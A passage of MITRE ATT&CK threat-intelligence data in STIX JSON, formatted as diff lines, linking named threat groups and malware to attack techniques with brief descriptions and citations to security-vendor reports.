"FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:32.032Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload was packed with UPX.", + "type": "relationship", + "created": "2017-05-31T21:33:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--891a97f1-d3e2-45ff-a079-43dcad21a175", + "external_references": [ + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + } + ], + "modified": "2019-07-11T13:53:05.914Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.973Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Lateral movement can be done with [Net](https://attack.mitre.org/software/S0039) through net use commands to connect to the on remote systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2423ac3-94b4-4936-962b-06562115cb70", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.532Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:58.189Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:37:45.677Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5986609f-f047-4f71-8918-e0d7d33416f0", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote command execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-05-14T17:10:21.946Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim\u2019s machine before exfiltration.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbdf85ca-504d-40f9-9023-ce8acdf99781", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) executed [CHOPSTICK](https://attack.mitre.org/software/S0023) by using rundll32 commands such as rundll32.exe \u201cC:\\Windows\\twain_64.dll\u201d. [APT28](https://attack.mitre.org/groups/G0007) also executed a .dll for a first stage dropper using rundll32.exe. An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.", + "type": "relationship", + "created": "2017-05-31T21:33:27.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-27T00:09:36.230Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:16:27.724Z", + "type": "relationship", + "id": "relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.031Z", + "source_ref": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:47:54.560Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694", + "external_references": [ + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "relationship_type": "uses", + "target_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:34:52.480Z", + "type": "relationship", + "id": "relationship--863d6b6f-9e13-4925-a736-5e719a10a0b8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.019Z", + "source_ref": "course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can communicate over HTTP for C2.", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2019-03-25T12:57:18.632Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened. The actors also used batch scripting.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e75d7409-2850-4c9d-9f27-dfda05d9558c", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.233Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.633Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen loaded into msiexec.exe through process hollowing to hide its execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.411Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:30:59.094Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31433bb4-aa47-444a-b7d7-49208401e974", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) leverages [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to steal credentials.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d6b4cd9a-a8bd-4c9f-b716-e29710f1e934", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses a keylogger to capture keystrokes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1596d76-9ade-4acb-a570-2515f69a706e", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.620Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses VBScripts and batch scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69b07a47-2d70-4672-9771-92fa4280b3d3", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) exfiltrates data over the same channel used for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use DDE to execute additional payloads on compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--84a213fc-604f-441f-ba18-feab32085a50", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:52.989Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b", + "external_references": [ + { + "source_name": "F-Secure Sofacy 2015", + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-02-01T14:39:36.190Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a", + "external_references": [ + { + "source_name": "Symantec Backdoor.Nidiran", + "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:21:57.790Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--76bd87d6-517e-4294-b4c5-a5a01308bf35", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) can execute shell commands.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--06814fdf-8bf8-43eb-b448-812541b46afa", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. 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New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.", + "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.638Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3643f451-322d-4f38-91a4-00a55a42c7f5", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over port 443.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. 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PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.358Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:28:05.574Z", + "type": "relationship", + "id": "relationship--2aee3cad-9825-428f-bbd4-de51c688b886", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used SMTP as a communication channel in various implants, initially using self-registered Google Mail accounts and later compromised email servers of its victims. Later implants such as [CHOPSTICK](https://attack.mitre.org/software/S0023) use a blend of HTTP and other legitimate channels, depending on module configuration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": 